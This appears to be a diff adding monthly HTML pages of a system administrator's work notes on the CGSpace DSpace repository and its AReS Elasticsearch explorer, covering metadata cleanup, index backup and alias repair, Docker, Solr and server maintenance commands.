$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+1020
+
    +
  • I reported it to Atmire to take a look, on the same issue we had been tracking this before
    • +
  • Abenet asked me to add a new ORCID for ILRI staff member Zoe Campbell
    • +
  • I added it to the controlled vocabulary and then tagged her existing items on CGSpace using my add-orcid-identifier.py script:
    • +
+
$ cat 2021-03-04-add-zoe-campbell-orcid.csv 
+dc.contributor.author,cg.creator.identifier
+"Campbell, Zoë","Zoe Campbell: 0000-0002-4759-9976"
+"Campbell, Zoe A.","Zoe Campbell: 0000-0002-4759-9976"
+$ ./ilri/add-orcid-identifiers-csv.py -i 2021-03-04-add-zoe-campbell-orcid.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • I still need to do cleanup on the journal articles metadata +
      +
    • Peter sent me some cleanups but I can’t use them in the search/replace format he gave
      • +
    • I think it’s better to export the metadata values with IDs and import cleaned up ones as CSV
      • +
    +
    • +
+
localhost/dspace63= > \COPY (SELECT dspace_object_id AS id, text_value as "cg.journal" FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=251) to /tmp/2021-02-24-journals.csv WITH CSV HEADER;
+COPY 32087
+
    +
  • I used OpenRefine to remove all journal values that didn’t have one of these values: ; ( ) +
      +
    • Then I cloned the cg.journal field to cg.volume and cg.issue
      • +
    • I used some GREL expressions like these to extract the journal name, volume, and issue:
      • +
    +
    • +
+
value.partition(';')[0].trim() # to get journal names
+value.partition(/[0-9]+\([0-9]+\)/)[1].replace(/^(\d+)\(\d+\)/,"$1") # to get journal volumes
+value.partition(/[0-9]+\([0-9]+\)/)[1].replace(/^\d+\((\d+)\)/,"$1") # to get journal issues
+
    +
  • Then I uploaded the changes to CGSpace using dspace metadata-import
    • +
  • Margarita from CCAFS was asking about an error deleting some items that were showing up in Google and should have been private + +
    • +
  • Yesterday Abenet added me to a WLE collection approver/editer steps so we can try to figure out why Niroshini is having issues adding metadata to Udana’s submissions +
      +
    • I edited Udana’s submission to CGSpace: +
        +
      • corrected the title
        • +
      • added language English
        • +
      • changed the link to the external item page instead of PDF
        • +
      • added SDGs from the external item page
        • +
      • added AGROVOC subjects from the external item page
        • +
      • added pagination (extent)
        • +
      • changed the license to “other” because CC-BY-NC-ND is not printed anywhere in the PDF or external item page
        • +
      +
      • +
    +
    • +
+

2021-03-05

+
    +
  • I migrated the Docker bind mount for the AReS Elasticsearch container to a Docker volume:
    • +
+
$ docker-compose -f docker/docker-compose.yml down
+$ docker volume create docker_esData_7
+$ docker container create --name es_dummy -v docker_esData_7:/usr/share/elasticsearch/data:rw elasticsearch:7.6.2
+$ docker cp docker/esData_7/nodes es_dummy:/usr/share/elasticsearch/data
+$ docker rm es_dummy
+# edit docker/docker-compose.yml to switch from bind mount to volume
+$ docker-compose -f docker/docker-compose.yml up -d
+
    +
  • The trick is that when you create a volume like “myvolume” from a docker-compose.yml file, Docker will create it with the name “docker_myvolume” +
      +
    • If you create it manually on the command line with docker volume create myvolume then the name is literally “myvolume”
      • +
    +
    • +
  • I still need to make the changes to git master and add these notes to the pull request so Moayad and others can benefit
    • +
  • Delete the openrxv-items-temp index to test a fresh harvesting:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+

2021-03-05

+
    +
  • Check the results of the AReS harvesting from last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 101761,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • Set the current items index to read only and make a backup:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d' {"settings": {"index.blocks.write":true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-03-05
+
    +
  • Delete the current items index and clone the temp one to it:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items
+
    +
  • Then delete the temp and backup:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+{"acknowledged":true}%
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-03-05'
+
+

2021-03-07

+
    +
  • I realized there is something wrong with the Elasticsearch indexes on AReS +
      +
    • On a new test environment I see openrxv-items is correctly an alias of openrxv-items-final:
      • +
    +
    • +
+
$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool | less
+...
+    "openrxv-items-final": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+
    +
  • But on AReS production openrxv-items has somehow become a concrete index:
    • +
+
$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool | less
+...
+    "openrxv-items": {
+        "aliases": {}
+    },
+    "openrxv-items-final": {
+        "aliases": {}
+    },
+    "openrxv-items-temp": {
+        "aliases": {}
+    },
+
    +
  • I fixed the issue on production by cloning the openrxv-items index to openrxv-items-final, deleting openrxv-items, and then re-creating it as an alias:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-2021-03-07
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+$ curl -s -X POST http://localhost:9200/openrxv-items/_clone/openrxv-items-final
+$ curl -XDELETE 'http://localhost:9200/openrxv-items'
+$ curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+
    +
  • Delete backups and remove read-only mode on openrxv-items:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-2021-03-07'
+$ curl -X PUT "localhost:9200/openrxv-items/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+
    +
  • Linode sent alerts about the CPU usage on CGSpace yesterday and the day before +
      +
    • Looking in the logs I see a few IPs making heavy usage on the REST API and XMLUI:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz | grep -E '0[56]/Mar/2021' | goaccess --log-format=COMBINED -
+
    +
  • I see the usual IPs for CCAFS and ILRI importer bots, but also 143.233.242.132 which appears to be for GARDIAN:
    • +
+
# zgrep '143.233.242.132' /var/log/nginx/access.log.1 | grep -c Delphi
+6237
+# zgrep '143.233.242.132' /var/log/nginx/access.log.1 | grep -c -v Delphi
+6418
+
    +
  • They seem to make requests twice, once with the Delphi user agent that we know and already mark as a bot, and once with a “normal” user agent +
      +
    • Looking in Solr I see they have been using this IP for awhile, as they have 100,000 hits going back into 2020
      • +
    • I will add this IP to the list of bots in nginx and purge it from Solr with my check-spider-ip-hits.sh script
      • +
    +
    • +
  • I made a few changes to OpenRXV: + +
    • +
+

2021-03-08

+
    +
  • I approved the WLE item that I edited last week, and all the metadata is there: https://hdl.handle.net/10568/111810 +
      +
    • So I’m not sure what Niroshini’s issue with metadata is…
      • +
    +
    • +
  • Peter sent a message yesterday saying that his item finally got committed +
      +
    • I looked at the Munin graphs and there was a MASSIVE spike in database activity two days ago, and now database locks are back down to normal levels (from 1000+):
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+13
+
    +
  • On 2021-03-03 the PostgreSQL transactions started rising:
    • +
+

PostgreSQL query length week

+
    +
  • After that the connections and locks started going up, peaking on 2021-03-06:
    • +
+

PostgreSQL locks week +PostgreSQL connections week

+
    +
  • I sent another message to Atmire to ask if they have time to look into this
    • +
  • CIFOR is pressuring me to upload the batch items from last week +
      +
    • Vika sent me a final file with some duplicates that Peter identified removed
      • +
    • I extracted and re-applied my basic corrections from last week in OpenRefine, then ran the items through csv-metadata-quality checker and uploaded them to CGSpace
      • +
    • In total there are 1,088 items
      • +
    +
    • +
  • Udana from IWMI emailed to ask about CGSpace thumbnails
    • +
  • Udana from IWMI emailed to ask about an item uploaded recently that does not appear in AReS +
      +
    • The item was added to the archive on 2021-03-05, and I last harvested on 2021-03-06, so this might be an issue of a missing item
      • +
    +
    • +
  • Abenet got a quote from Atmire to buy 125 credits for 3750€
    • +
  • Maria at Bioversity sent some feedback about duplicate items on AReS
    • +
  • I’m wondering if the issue of the openrxv-items-final index not getting cleared after a successful harvest (which results in having 200,000, then 300,000, etc items) has to do with the alias issue I fixed yesterday +
      +
    • I will start a fresh harvest on AReS without now to check, but first back up the current index just in case:
      • +
    +
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-final/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-final/_clone/openrxv-items-final-2021-03-08
+# start harvesting on AReS
+
    +
  • As I saw on my local test instance, even when you cancel a harvesting, it replaces the openrxv-items-final index with whatever is in openrxv-items-temp automatically, so I assume it will do the same now
    • +
+

2021-03-09

+
    +
  • The harvesting on AReS finished last night and everything worked as expected, with no manual intervention +
      +
    • This means that the issue we were facing for a few months was due to the openrxv-items index being deleted and re-created as a standalone index instead of an alias of openrxv-items-final
      • +
    +
    • +
  • Talk to Moayad about OpenRXV development +
      +
    • We realized that the missing/duplicate items issue is probably due to the long harvesting time on the REST API, as the time between starting the harvesting on page 0 and finishing the harvesting on page 900 (in the CGSpace example), some items will have been added to the repository, which causes the pages to shift
      • +
    • I proposed a solution in the GitHub issue, where we consult the site’s XML sitemap after harvesting to see if we missed any items, and then we harvest them individually
      • +
    +
    • +
  • Peter sent me a list of 356 DOIs from Altmetric that don’t have our Handles, so we need to Tweet them +
      +
    • I used my doi-to-handle.py script to generate a list of handles and titles for him:
      • +
    +
    • +
+
$ ./ilri/doi-to-handle.py -i /tmp/dois.txt -o /tmp/handles.txt -db dspace -u dspace -p 'fuuu'
+

2021-03-10

+
    +
  • Colleagues from ICARDA asked about how we should handle ISI journals in CG Core, as CGSpace uses cg.isijournal and MELSpace uses mel.impact-factor +
      +
    • I filed an issue on the cg-core project to ask colleagues for ideas
      • +
    +
    • +
  • Peter said he doesn’t see “Source Code” or “Software” in the output type facet on the ILRI community, but I see it on the home page, so I will try to do a full Discovery re-index:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    318m20.485s
+user    215m15.196s
+sys     2m51.529s
+
    +
  • Now I see ten items for “Source Code” in the facets…
    • +
  • Add GPL and MIT licenses to the list of licenses on CGSpace input form since we will start capturing more software and source code
    • +
  • Added the ability to check dcterms.license values against the SPDX licenses in the csv-metadata-quality tool +
      +
    • Also, I made some other minor fixes and released version 0.4.6 on GitHub
      • +
    +
    • +
  • Proof and upload twenty-seven items to CGSpace for Peter Ballantyne +
      +
    • Mostly Ugandan outputs for CRP Livestock and Livestock and Fish
      • +
    +
    • +
+

2021-03-14

+
    +
  • Switch to linux-kvm kernel on linode20 and linode18:
    • +
+
# apt update && apt full-upgrade
+# apt install linux-kvm
+# apt remove linux-generic linux-image-generic linux-headers-generic linux-firmware
+# apt autoremove && apt autoclean
+# reboot
+
    +
  • Deploy latest changes from 6_x-prod branch on CGSpace
    • +
  • Deploy latest changes from OpenRXV master branch on AReS
    • +
  • Last week Peter added OpenRXV to CGSpace: https://hdl.handle.net/10568/112982
    • +
  • Back up the current openrxv-items-final index on AReS to start a new harvest:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-final/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-final/_clone/openrxv-items-final-2021-03-14
+$ curl -X PUT "localhost:9200/openrxv-items-final/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+
    +
  • After the harvesting finished it seems the indexes got messed up again, as openrxv-items is an alias of openrxv-items-temp instead of openrxv-items-final:
    • +
+
$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool | less
+...
+    "openrxv-items-final": {
+        "aliases": {}
+    },
+    "openrxv-items-temp": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+
    +
  • Anyways, the number of items in openrxv-items seems OK and the AReS Explorer UI is working fine +
      +
    • I will have to manually fix the indexes before the next harvesting
      • +
    +
    • +
  • Publish the web version of the DSpace CSV Metadata Quality checker tool that I wrote this weekend on GitHub: https://github.com/ilri/csv-metadata-quality-web + +
    • +
+

2021-03-16

+
    +
  • Review ten items for Livestock and Fish and Dryland Systems from Peter +
      +
    • I told him to try the new web-based CSV Metadata Qualiter checker and he thought it was cool
      • +
    • I found one exact duplicate item and it gave me an idea to try to detect this in the tool
      • +
    +
    • +
+

2021-03-17

+ +

2021-03-18

+
    +
  • I added the ability to check for, and fix, “mojibake” characters in csv-metadata-quality
    • +
+

2021-03-21

+
    +
  • Last week Atmire asked me which browser I was using to test the duplicate checker, which I had reported as not loading +
      +
    • I tried to load it in Chrome and it works… hmmm
      • +
    +
    • +
  • Back up the current openrxv-items-final index to start a fresh AReS Harvest:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-final/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-final/_clone/openrxv-items-final-2021-03-21
+$ curl -X PUT "localhost:9200/openrxv-items-final/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+
    +
  • Then start harvesting in the AReS Explorer admin UI
    • +
+

2021-03-22

+
    +
  • The harvesting on AReS yesterday completed, but somehow I have twice the number of items:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-final/_count?q=*&pretty'
+{
+  "count" : 206204,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • Hmmm and even my backup index has a strange number of items:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-final-2021-03-21/_count?q=*&pretty'
+{
+  "count" : 844,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • I deleted all indexes and re-created the openrxv-items alias:
    • +
+
$ curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool | less
+...
+    "openrxv-items-temp": {
+        "aliases": {}
+    },
+    "openrxv-items-final": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    }
+
    +
  • Then I started a new harvesting
    • +
  • I switched the Node.js in the Ansible infrastructure scripts to v12 since v10 will cease to be supported soon +
      +
    • I re-deployed DSpace Test (linode26) with Node.js 12 and restarted the server
      • +
    +
    • +
  • The AReS harvest finally finished, with 1047 pages of items, but the openrxv-items-final index is empty and the openrxv-items-temp index has a 103,000 items:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 103162,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • I tried to clone the temp index to the final, but got an error:
    • +
+
$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items-final
+{"error":{"root_cause":[{"type":"resource_already_exists_exception","reason":"index [openrxv-items-final/LmxH-rQsTRmTyWex2d8jxw] already exists","index_uuid":"LmxH-rQsTRmTyWex2d8jxw","index":"openrxv-items-final"}],"type":"resource_already_exists_exception","reason":"index [openrxv-items-final/LmxH-rQsTRmTyWex2d8jxw] already exists","index_uuid":"LmxH-rQsTRmTyWex2d8jxw","index":"openrxv-items-final"},"status":400}% 
+
    +
  • I looked in the Docker logs for Elasticsearch and saw a few memory errors:
    • +
+
java.lang.OutOfMemoryError: Java heap space
+
    +
  • According to /usr/share/elasticsearch/config/jvm.options in the Elasticsearch container the default JVM heap is 1g +
      +
    • I see the running Java process has -Xms 1g -Xmx 1g in its process invocation so I guess that it must be indeed using 1g
      • +
    • We can change the heap size with the ES_JAVA_OPTS environment variable
      • +
    • Or perhaps better, we should use a jvm.options.d file because if you use the environment variable it overrides all other JVM options from the default jvm.options
      • +
    • I tried to set memory to 1536m by binding an options file and restarting the container, but it didn’t seem to work
      • +
    • Nevertheless, after restarting I see 103,000 items in the Explorer…
      • +
    • But the indexes are still kinda messed up… the openrxv-items index is an alias of the wrong index!
      • +
    +
    • +
+
    "openrxv-items-final": {
+        "aliases": {}
+    },
+    "openrxv-items-temp": {
+        "aliases": {
+            "openrxv-items": {}
+        }
+    },
+

2021-03-23

+
    +
  • For reference you can also get the Elasticsearch JVM stats from the API:
    • +
+
$ curl -s 'http://localhost:9200/_nodes/jvm?human' | python -m json.tool
+
    +
  • I re-deployed AReS with 1.5GB of heap using the ES_JAVA_OPTS environment variable + +
    • +
  • Then I fixed the aliases to make sure openrxv-items was an alias of openrxv-items-final, similar to how I did a few weeks ago
    • +
  • I re-created the temp index:
    • +
+
$ curl -XPUT 'http://localhost:9200/openrxv-items-temp'
+

2021-03-24

+
    +
  • Atmire responded to the ticket about the Duplicate Checker +
      +
    • He says it works for him in Firefox, so I checked and it seems to have been an issue with my LocalCDN addon
      • +
    +
    • +
  • I re-deployed DSpace Test (linode26) from the latest CGSpace (linode18) data +
      +
    • I want to try to finish up processing the duplicates in Solr that Atmire advised on last month
      • +
    • The current statistics core is 57861236 kilobytes:
      • +
    +
    • +
+
# du -s /home/dspacetest.cgiar.org/solr/statistics
+57861236        /home/dspacetest.cgiar.org/solr/statistics
+
    +
  • I applied their changes to config/spring/api/atmire-cua-update.xml and started the duplicate processor:
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx4096m'
+$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -r 1000 -c statistics -t 12
+
    +
  • The default number of records per query is 10,000, which caused memory issues, so I will try with 1000 (Atmire used 100, but that seems too low!)
    • +
  • Hah, I still got a memory error after only a few minutes:
    • +
+
...
+Run 1 —  80% — 5,000/6,263 docs — 25s — 6m 31s                                      
+Exception: GC overhead limit exceeded                                                                          
+java.lang.OutOfMemoryError: GC overhead limit exceeded 
+
    +
  • I guess we really do have to use -r 100
    • +
  • Now the thing runs for a few minutes and “finishes”:
    • +
+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -r 100 -c statistics -t 12
+Loading @mire database changes for module MQM
+Changes have been processed
+
+
+*************************
+* Update Script Started *
+*************************
+
+Run 1
+Start updating Solr Storage Reports | Wed Mar 24 14:42:17 CET 2021
+Deleting old storage docs from Solr... | Wed Mar 24 14:42:17 CET 2021
+Done. | Wed Mar 24 14:42:17 CET 2021
+Processing storage reports for type: eperson | Wed Mar 24 14:42:17 CET 2021
+Done. | Wed Mar 24 14:42:41 CET 2021
+Processing storage reports for type: group | Wed Mar 24 14:42:41 CET 2021
+Done. | Wed Mar 24 14:45:46 CET 2021
+Processing storage reports for type: collection | Wed Mar 24 14:45:46 CET 2021
+Done. | Wed Mar 24 14:45:54 CET 2021
+Processing storage reports for type: community | Wed Mar 24 14:45:54 CET 2021
+Done. | Wed Mar 24 14:45:58 CET 2021
+Committing to Solr... | Wed Mar 24 14:45:58 CET 2021
+Done. | Wed Mar 24 14:45:59 CET 2021
+Successfully finished updating Solr Storage Reports | Wed Mar 24 14:45:59 CET 2021
+Run 1 —   2% — 100/4,824 docs — 3m 47s — 3m 47s
+Run 1 —   4% — 200/4,824 docs — 2s — 3m 50s
+Run 1 —   6% — 300/4,824 docs — 2s — 3m 53s
+Run 1 —   8% — 400/4,824 docs — 2s — 3m 55s
+Run 1 —  10% — 500/4,824 docs — 2s — 3m 58s
+Run 1 —  12% — 600/4,824 docs — 2s — 4m 1s
+Run 1 —  15% — 700/4,824 docs — 2s — 4m 3s
+Run 1 —  17% — 800/4,824 docs — 2s — 4m 6s
+Run 1 —  19% — 900/4,824 docs — 2s — 4m 9s
+Run 1 —  21% — 1,000/4,824 docs — 2s — 4m 11s
+Run 1 —  23% — 1,100/4,824 docs — 2s — 4m 14s
+Run 1 —  25% — 1,200/4,824 docs — 2s — 4m 16s
+Run 1 —  27% — 1,300/4,824 docs — 2s — 4m 19s
+Run 1 —  29% — 1,400/4,824 docs — 2s — 4m 22s
+Run 1 —  31% — 1,500/4,824 docs — 2s — 4m 24s
+Run 1 —  33% — 1,600/4,824 docs — 2s — 4m 27s
+Run 1 —  35% — 1,700/4,824 docs — 2s — 4m 29s
+Run 1 —  37% — 1,800/4,824 docs — 2s — 4m 32s
+Run 1 —  39% — 1,900/4,824 docs — 2s — 4m 35s
+Run 1 —  41% — 2,000/4,824 docs — 2s — 4m 37s
+Run 1 —  44% — 2,100/4,824 docs — 2s — 4m 40s
+Run 1 —  46% — 2,200/4,824 docs — 2s — 4m 42s
+Run 1 —  48% — 2,300/4,824 docs — 2s — 4m 45s
+Run 1 —  50% — 2,400/4,824 docs — 2s — 4m 48s
+Run 1 —  52% — 2,500/4,824 docs — 2s — 4m 50s
+Run 1 —  54% — 2,600/4,824 docs — 2s — 4m 53s
+Run 1 —  56% — 2,700/4,824 docs — 2s — 4m 55s
+Run 1 —  58% — 2,800/4,824 docs — 2s — 4m 58s
+Run 1 —  60% — 2,900/4,824 docs — 2s — 5m 1s
+Run 1 —  62% — 3,000/4,824 docs — 2s — 5m 3s
+Run 1 —  64% — 3,100/4,824 docs — 2s — 5m 6s
+Run 1 —  66% — 3,200/4,824 docs — 3s — 5m 9s
+Run 1 —  68% — 3,300/4,824 docs — 2s — 5m 12s
+Run 1 —  70% — 3,400/4,824 docs — 2s — 5m 14s
+Run 1 —  73% — 3,500/4,824 docs — 2s — 5m 17s
+Run 1 —  75% — 3,600/4,824 docs — 2s — 5m 20s
+Run 1 —  77% — 3,700/4,824 docs — 2s — 5m 22s
+Run 1 —  79% — 3,800/4,824 docs — 2s — 5m 25s
+Run 1 —  81% — 3,900/4,824 docs — 2s — 5m 27s
+Run 1 —  83% — 4,000/4,824 docs — 2s — 5m 30s
+Run 1 —  85% — 4,100/4,824 docs — 2s — 5m 33s
+Run 1 —  87% — 4,200/4,824 docs — 2s — 5m 35s
+Run 1 —  89% — 4,300/4,824 docs — 2s — 5m 38s
+Run 1 —  91% — 4,400/4,824 docs — 2s — 5m 41s
+Run 1 —  93% — 4,500/4,824 docs — 2s — 5m 43s
+Run 1 —  95% — 4,600/4,824 docs — 2s — 5m 46s
+Run 1 —  97% — 4,700/4,824 docs — 2s — 5m 49s
+Run 1 — 100% — 4,800/4,824 docs — 2s — 5m 51s
+Run 1 — 100% — 4,824/4,824 docs — 2s — 5m 53s
+Run 1 took 5m 53s
+
+
+**************************
+* Update Script Finished *
+**************************
+
+

2021-03-25

+
    +
  • Niroshini from IWMI is still having problems adding metadata during the edit step of the workflow on CGSpace +
      +
    • I told her to try to register using a private email account and we’ll add her to the WLE group so she can try that way
      • +
    +
    • +
+

2021-03-28

+
    +
  • Make a backup of the openrxv-items-final index on AReS Explorer and start a new harvest
    • +
+

2021-03-29

+
    +
  • The AReS harvesting that I started yesterday finished successfully and all indexes look OK: +
      +
    • openrxv-items is an alias of openrxv-items-final and has a correct number of items
      • +
    +
    • +
  • Last week Bosede from IITA said she was trying to move an item from one collection to another and the system was “rolling” and never finished +
      +
    • I looked in Munin and I don’t see anything particularly wrong that day, so I told her to try again
      • +
    +
    • +
  • Marianne Gadeberg asked about mapping an item last week +
      +
    • Searched for the item’s handle, the title, the title in quotes, the UUID, with pluses instead of spaces, etc in the item mapper… but I can never find it in the results
      • +
    • I see someone has reported this issue on Jira in DSpace 5.x’s XMLUI item mapper: https://jira.lyrasis.org/browse/DS-2761
      • +
    • The Solr log shows that my query (with and without quotes, etc) has 143 results:
      • +
    +
    • +
+
2021-03-29 08:55:40,073 INFO  org.apache.solr.core.SolrCore @ [search] webapp=/solr path=/select params={q=Gender+mainstreaming+in+local+potato+seed+system+in+Georgia&fl=handle,search.resourcetype,search.resourceid,search.uniqueid&start=0&fq=NOT(withdrawn:true)&fq=NOT(discoverable:false)&fq=-location:l5308ea39-7c65-401b-890b-c2b93dad649a&wt=javabin&version=2} hits=143 status=0 QTime=0
+
    +
  • But the item mapper only displays ten items, with no pagination +
      +
    • There is no way to search by handle or ID
      • +
    • I mapped the item manually using a CSV
      • +
    +
    • +
+

2021-03-30

+
    +
  • I realized I never finished deleting all the old fields after our CG Core migration a few months ago +
      +
    • I found a few occurrences of old metadata so I had to move them where possible and delete them where not
      • +
    +
    • +
  • I updated the CG Core v2 migration page
    • +
  • Marianne Gadeberg wrote to ask why the item she wanted to map a few days ago still doesn’t appear in the mapped collection +
      +
    • I looked on the item page itself and it lists the collection, but doesn’t appear in the collection list
      • +
    • I tried to forceably reindex the collection and the item, but it didn’t seem to work
      • +
    • Now I will try a complete Discovery re-index
      • +
    +
    • +
+

2021-03-31

+
    +
  • The Discovery re-index finished, but the CIP item still does not appear in the GENDER Platform grants collection +
      +
    • The item page itself DOES list the grants collection! WTF
      • +
    • I sent a message to the dspace-tech mailing list to see if someone can comment
      • +
    • I even tried unmapping and re-mapping, but it doesn’t change anything: the item still doesn’t appear in the collection, but I can see that it is mapped
      • +
    +
    • +
  • I signed up for a SHERPA API key so I can try to write something to get journal names from ISSN +
      +
    • This code seems to get a journal title, though I only tried it with a few ISSNs:
      • +
    +
    • +
+
import requests
+
+query_params = {'item-type': 'publication', 'format': 'Json', 'limit': 10, 'offset': 0, 'api-key': 'blahhhahahah', 'filter': '[["issn","equals","0011-183X"]]'}
+r = requests.get('https://v2.sherpa.ac.uk/cgi/retrieve')
+if r.status_code and len(r.json()['items']) > 0:
+    r.json()['items'][0]['title'][0]['title']
+
    +
  • I exported a list of all our ISSNs from CGSpace:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=253) to /tmp/2021-03-31-issns.csv;
+COPY 3081
+
    +
  • I wrote a script to check the ISSNs against Crossref’s API: crossref-issn-lookup.py +
      +
    • I suspect Crossref might have better data actually…
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-04/index.html b/docs/2021-04/index.html new file mode 100644 index 000000000..2d94a08a0 --- /dev/null +++ b/docs/2021-04/index.html @@ -0,0 +1,1096 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2021

+

+ + in + Notes + + +

+
+

2021-04-01

+
    +
  • I wrote a script to query Sherpa’s API for our ISSNs: sherpa-issn-lookup.py +
      +
    • I’m curious to see how the results compare with the results from Crossref yesterday
      • +
    +
    • +
  • AReS Explorer was down since this morning, I didn’t see anything in the systemd journal +
      +
    • I simply took everything down with docker-compose and then back up, and then it was OK
      • +
    • Perhaps one of the containers crashed, I should have looked closer but I was in a hurry
      • +
    +
    • +
+

2021-04-03

+
    +
  • Biruk from ICT contacted me to say that some CGSpace users still can’t log in +
      +
    • I guess the CGSpace LDAP bind account is really still locked after last week’s reset
      • +
    • He fixed the account and then I was finally able to bind and query:
      • +
    +
    • +
+
$ ldapsearch -x -H ldaps://AZCGNEROOT2.CGIARAD.ORG:636/ -b "dc=cgiarad,dc=org" -D "cgspace-account" -W "(sAMAccountName=otheraccounttoquery)"
+

2021-04-04

+
    +
  • Check the index aliases on AReS Explorer to make sure they are sane before starting a new harvest:
    • +
+
$ curl -s 'http://localhost:9200/_alias/' | python -m json.tool | less
+
    +
  • Then set the openrxv-items-final index to read-only so we can make a backup:
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-final/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}' 
+{"acknowledged":true}%
+$ curl -s -X POST http://localhost:9200/openrxv-items-final/_clone/openrxv-items-final-backup
+{"acknowledged":true,"shards_acknowledged":true,"index":"openrxv-items-final-backup"}%
+$ curl -X PUT "localhost:9200/openrxv-items-final/_settings" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+
    +
  • Then start a harvesting on AReS Explorer
    • +
  • Help Enrico get some 2020 statistics for the Roots, Tubers and Bananas (RTB) community on CGSpace +
      +
    • He was hitting a bug on AReS and also he only needed stats for 2020, and AReS currently only gives all-time stats
      • +
    +
    • +
  • I cleaned up about 230 ISSNs on CGSpace in OpenRefine +
      +
    • I had exported them last week, then filtered for anything not looking like an ISSN with this GREL: isNotNull(value.match(/^\p{Alnum}{4}-\p{Alnum}{4}$/))
      • +
    • Then I applied them on CGSpace with the fix-metadata-values.py script:
      • +
    +
    • +
+
$ ./ilri/fix-metadata-values.py -i /tmp/2021-04-01-ISSNs.csv -db dspace -u dspace -p 'fuuu' -f cg.issn -t 'correct' -m 253
+
    +
  • For now I only fixed obvious errors like “1234-5678.” and “e-ISSN: 1234-5678” etc, but there are still lots of invalid ones which need more manual work: +
      +
    • Too few characters
      • +
    • Too many characters
      • +
    • ISBNs
      • +
    +
    • +
  • Create the CGSpace community and collection structure for the new Accelerating Impacts of CGIAR Climate Research for Africa (AICCRA) and assign all workflow steps
    • +
+

2021-04-05

+
    +
